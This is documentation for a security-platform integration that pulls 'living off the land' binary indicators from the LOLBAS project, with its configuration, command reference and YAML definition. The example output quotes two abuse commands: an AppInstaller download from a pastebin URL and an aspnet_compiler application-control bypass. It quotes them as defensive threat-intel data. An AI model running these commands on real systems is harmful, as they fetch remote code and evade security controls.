LOLBAS Feed

"Living off the land binaries" is a term used to describe malware or hacking techniques that take advantage of legitimate tools and processes that are already present on a computer or network, rather than introducing new malware or malicious code. The goal is to blend in with normal activity and avoid detection. Examples of this include using built-in Windows commands to move laterally through a network, or using scripting languages that are commonly installed on a system to execute malicious code. LOLBAS project is documenting binaries, scripts, and libraries that can be used for Living Off The Land techniques.

Data Enrichment & Threat Intelligence · LOLBAS Feed · Feed

Details

ID	`LOLBAS Feed`
Provider	Open Source
Category	Data Enrichment & Threat Intelligence
From Version	6.8.0
Docker Image	`demisto/python3:3.12.13.10116658`
Supported Modules	Agentix XSIAM EDR Cortex Cloud Cloud Runtime Security

README

This integration was integrated and tested with version v1 of LOLBAS.

Configure LOLBAS Feed in Cortex

Parameter	Description	Required
Base URL		True
Fetch indicators		False
Indicator Reputation	Indicators from this integration instance will be marked with this reputation.	False
Source Reliability	Reliability of the source providing the intelligence data.	True
Traffic Light Protocol Color	The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed.	False
Bypass exclusion list	When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system.	False
Use system proxy settings		False
Trust any certificate (not secure)		False
Tags	Supports CSV values.	False
Create relationships		False
Feed Fetch Interval		False

Commands

You can execute these commands from the CLI, as part of an automation, or in a playbook.
After you successfully execute a command, a DBot message appears in the War Room with the command details.

lolbas-get-indicators

Retrieves a limited number of indicators.

Base Command

lolbas-get-indicators

Input

Argument Name	Description	Required
limit	The maximum number of indicators to return.	Required

Context Output

Path	Type	Description
LOLBAS.Indicators.Commands.category	String	The category of the command.
LOLBAS.Indicators.Commands.command	String	The command.
LOLBAS.Indicators.Commands.description	String	The description of the command.
LOLBAS.Indicators.Commands.mitreid	String	The MITRE ID related to the command.
LOLBAS.Indicators.Commands.operatingsystem	String	The operating system the command ran on.
LOLBAS.Indicators.Commands.privileges	String	The privileges required to run the command.
LOLBAS.Indicators.Commands.usecase	String	The use case of the command.
LOLBAS.Indicators.Description	String	The description of the indicator.
LOLBAS.Indicators.Detections.content	String	The content of the detection.
LOLBAS.Indicators.Detections.type	String	The type of the detection.
LOLBAS.Indicators.Name	String	The name of the indicator.
LOLBAS.Indicators.Paths.path	String	The path of the indicator.
LOLBAS.Indicators.Type	String	The type of the indicator.
LOLBAS.Indicators.URL	String	The URL to the indicator.

Command example

!lolbas-get-indicators limit=2

Context Example

{
    "LOLBAS": {
        "Indicators": [
            {
                "Commands": [
                    {
                        "category": "Download",
                        "command": "start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw",
                        "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\INetCache\\<RANDOM-8-CHAR-DIRECTORY>",
                        "mitreid": "Ingress Tool Transfer",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Download file from Internet"
                    }
                ],
                "Description": "Tool used for installation of AppX/MSIX applications on Windows 10",
                "Detections": [
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "AppInstaller.exe",
                "Paths": [
                    {
                        "path": "C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe"
                    }
                ],
                "Type": "Tool",
                "URL": "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/"
            },
            {
                "Commands": [
                    {
                        "category": "AWL Bypass",
                        "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\users\\cpl.internal\\desktop\\asptest\\ -f C:\\users\\cpl.internal\\desktop\\asptest\\none -u",
                        "description": "Execute C# code with the Build Provider and proper folder structure in place.",
                        "mitreid": "Trusted Developer Utilities Proxy Execution",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Execute proxied payload with Microsoft signed binary to bypass application control solutions"
                    }
                ],
                "Description": "ASP.NET Compilation Tool",
                "Detections": [
                    {
                        "content": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
                        "type": "BlockRule"
                    },
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "Aspnet_Compiler.exe",
                "Paths": [
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe"
                    },
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe"
                    }
                ],
                "Type": "Tool",
                "URL": "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/"
            }
        ]
    }
}

Human Readable Output

LOLBAS indicators

Name Description

AppInstaller.exe Tool used for installation of AppX/MSIX applications on Windows 10

Aspnet_Compiler.exe ASP.NET Compilation Tool

Name	Description
AppInstaller.exe	Tool used for installation of AppX/MSIX applications on Windows 10
Aspnet_Compiler.exe	ASP.NET Compilation Tool

Configuration parameters

base_url — Base URL (required)
feed — Fetch indicators
feedReputation — Indicator Reputation
feedReliability — Source Reliability
tlp_color — Traffic Light Protocol Color
feedExpirationInterval —
feedBypassExclusionList — Bypass exclusion list
proxy — Use system proxy settings
insecure — Trust any certificate (not secure)
feedTags — Tags
create_relationships — Create relationships
feedExpirationPolicy —
feedFetchInterval — Feed Fetch Interval

Commands (1)

lolbas-get-indicators
Retrieves a limited number of indicators.

Source

FeedLOLBAS.py FeedLOLBAS_test.py FeedLOLBAS.yml FeedLOLBAS_description.md command_examples.txt

Download History Raw

category: Data Enrichment & Threat Intelligence
provider: Open Source
commonfields:
  id: LOLBAS Feed
  version: -1
sectionorder:
- Connect
- Collect
configuration:
- defaultvalue: 'https://lolbas-project.github.io/api'
  display: Base URL
  name: base_url
  required: true
  type: 0
  section: Connect
- defaultvalue: 'true'
  display: Fetch indicators
  name: feed
  type: 8
  section: Collect
  required: false
- additionalinfo: Indicators from this integration instance will be marked with this reputation.
  section: Collect
  display: Indicator Reputation
  name: feedReputation
  defaultvalue: None
  options:
  - None
  - Good
  - Suspicious
  - Bad
  type: 18
  required: false
- additionalinfo: Reliability of the source providing the intelligence data.
  defaultvalue: C - Fairly reliable
  display: Source Reliability
  name: feedReliability
  options:
  - A - Completely reliable
  - B - Usually reliable
  - C - Fairly reliable
  - D - Not usually reliable
  - E - Unreliable
  - F - Reliability cannot be judged
  required: false
  type: 15
  section: Collect
- additionalinfo: The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed.
  defaultvalue: CLEAR
  display: Traffic Light Protocol Color
  name: tlp_color
  options:
  - RED
  - AMBER+STRICT
  - AMBER
  - GREEN
  - CLEAR
  type: 15
  section: Collect
  required: false
- defaultvalue: '20160'
  display: ''
  name: feedExpirationInterval
  type: 1
  section: Collect
  required: false
- additionalinfo: When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system.
  defaultvalue: 'false'
  display: Bypass exclusion list
  name: feedBypassExclusionList
  type: 8
  section: Collect
  advanced: true
  required: false
- display: Use system proxy settings
  name: proxy
  type: 8
  section: Connect
  advanced: true
  required: false
- defaultvalue: 'false'
  display: Trust any certificate (not secure)
  name: insecure
  type: 8
  section: Connect
  advanced: true
  required: false
- additionalinfo: Supports CSV values.
  display: Tags
  name: feedTags
  type: 0
  section: Collect
  advanced: true
  required: false
- defaultvalue: 'true'
  display: Create relationships
  name: create_relationships
  type: 8
  section: Collect
  advanced: true
  required: false
- name: feedExpirationPolicy
  display: ''
  type: 17
  options:
  - never
  - interval
  - indicatorType
  - suddenDeath
  section: Collect
  required: false
- defaultvalue: '1440'
  name: feedFetchInterval
  display: Feed Fetch Interval
  type: 19
  section: Collect
  advanced: true
  required: false
description: '"Living off the land binaries" is a term used to describe malware or hacking techniques that take advantage of legitimate tools and processes that are already present on a computer or network, rather than introducing new malware or malicious code. The goal is to blend in with normal activity and avoid detection. Examples of this include using built-in Windows commands to move laterally through a network, or using scripting languages that are commonly installed on a system to execute malicious code. LOLBAS project is documenting binaries, scripts, and libraries that can be used for Living Off The Land techniques.'
display: 'LOLBAS Feed'
name: LOLBAS Feed
script:
  commands:
  - arguments:
    - description: The maximum number of indicators to return.
      name: limit
      required: true
    description: Retrieves a limited number of indicators.
    name: lolbas-get-indicators
    outputs:
    - contextPath: LOLBAS.Indicators.Commands.category
      description: 'The category of the command.'
      type: String
    - contextPath: LOLBAS.Indicators.Commands.command
      description: 'The command.'
      type: String
    - contextPath: LOLBAS.Indicators.Commands.description
      description: 'The description of the command.'
      type: String
    - contextPath: LOLBAS.Indicators.Commands.mitreid
      description: 'The MITRE ID related to the command.'
      type: String
    - contextPath: LOLBAS.Indicators.Commands.operatingsystem
      description: 'The operating system the command ran on.'
      type: String
    - contextPath: LOLBAS.Indicators.Commands.privileges
      description: 'The privileges required to run the command.'
      type: String
    - contextPath: LOLBAS.Indicators.Commands.usecase
      description: 'The use case of the command.'
      type: String
    - contextPath: LOLBAS.Indicators.Description
      description: 'The description of the indicator.'
      type: String
    - contextPath: LOLBAS.Indicators.Detections.content
      description: 'The content of the detection.'
      type: String
    - contextPath: LOLBAS.Indicators.Detections.type
      description: 'The type of the detection.'
      type: String
    - contextPath: LOLBAS.Indicators.Name
      description: 'The name of the indicator.'
      type: String
    - contextPath: LOLBAS.Indicators.Paths.path
      description: 'The path of the indicator.'
      type: String
    - contextPath: LOLBAS.Indicators.Type
      description: 'The type of the indicator.'
      type: String
    - contextPath: LOLBAS.Indicators.URL
      description: 'The URL to the indicator.'
      type: String
  feed: true
  script: '-'
  type: python
  subtype: python3
  dockerimage: demisto/python3:3.12.13.10116658
fromversion: 6.8.0
tests:
- FeedLOLBas_test
supportedModules:
- agentix
- xsiam
- edr